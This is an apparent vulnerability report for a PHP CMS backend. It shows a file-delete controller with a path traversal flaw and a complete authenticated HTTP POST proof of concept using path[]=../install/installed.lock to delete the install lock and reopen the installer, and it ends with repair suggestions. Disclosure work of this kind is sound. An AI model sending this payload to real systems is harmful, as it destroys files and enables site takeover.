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## bug\_report / bug\_c



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89 lines (75 sloc) | 3.11 KB

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1 Vulnerability file: \protected\controller\backend\file_controller.php
2 It can be seen that the deleted file or directory is received through the path parameter, and is d
3
4 Vulnerable code:
5 .....
6 public function action_delete()
7 {
8     $path = request('path', '');
9     if(is_array($path) && !empty($path))
10    {
11        $root = 'upload/';
12        $error = array();
13        foreach($path as $v)
14        {
15            $file = str_replace('/', DS, $root.$v);
16
17            if(is_dir($file))
18            {
19                if(!@rmdir($file)) $error[] = "无法删除非空文件夹({$file})";
20            }
21            elseif(is_file($file))
22            {
23                if(!@unlink($file)) $error[] = "删除文件({$file})失败";
24            }
25            else
26            {
27                $error[] = "文件({$file})不存在";
28            }
29        }
30    }
```

```

30
31         if(empty($error)) $this->prompt('success', '删除文件成功');
32         $this->prompt('error', $error);
33     }
34     else
35     {
36         echo $path;
37         $this->prompt('error', '获取文件路径错误');
38         .....
39
40 Vulnerability to reproduce:
41 1. First log in to the background to get cookies.
42
43 2. Here I delete the installed.lock file to verify the existence of the vulnerability, construct the
44
45 POST /index.php?m=backend&c=file&a=delete HTTP/1.1
46 Host: www.xxx.com
47 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
48 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
49 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
50 Accept-Encoding: gzip, deflate
51 Referer: http://www.xiaodi.com/index.php?m=backend&c=file&a=index
52 Cookie: VDSSKEY=d6123bedd1b697a783c9da6f0b92254c
53 DNT: 1
54 Connection: close
55 Upgrade-Insecure-Requests: 1
56 Content-Type: application/x-www-form-urlencoded
57 Content-Length: 32
58
59 path[]=../install/installed.lock
60
61 3. Click Send Packet,you can see that the file was deleted successfully
62
63 4. It can be seen that when the installed.lock file exists, when visiting http://x.x.x/install, the
64 .....
65 <?php
66 date_default_timezone_set('PRC');
67 defined('DS') or define('DS', DIRECTORY_SEPARATOR);
68 define('APP_DIR', realpath('../'));
69 define('INSTALL_DIR', APP_DIR.DS.'install');
70 error_reporting(-1);
71 set_time_limit(0);
72 require(INSTALL_DIR.DS.'resources'.DS.'version.php');
73 require(INSTALL_DIR.DS.'resources'.DS.'function.php');
74 header("Content-type:text/html;charset=utf-8");
75 $step = request('step');
76 if(file_exists(INSTALL_DIR.DS.'installed.lock'))
77 {
78     header('Location: ../index.php');

```

```
79     exit;
80     .....
81
82     Therefore, when we delete the installed.lock file and visit http://x.x.x/install again, we will co
83
84     Repair suggestion:
85     1. Filter ../ or ../\ in the file variable
86     2. Limit the scope of deleted files or directories
87
88
89
```

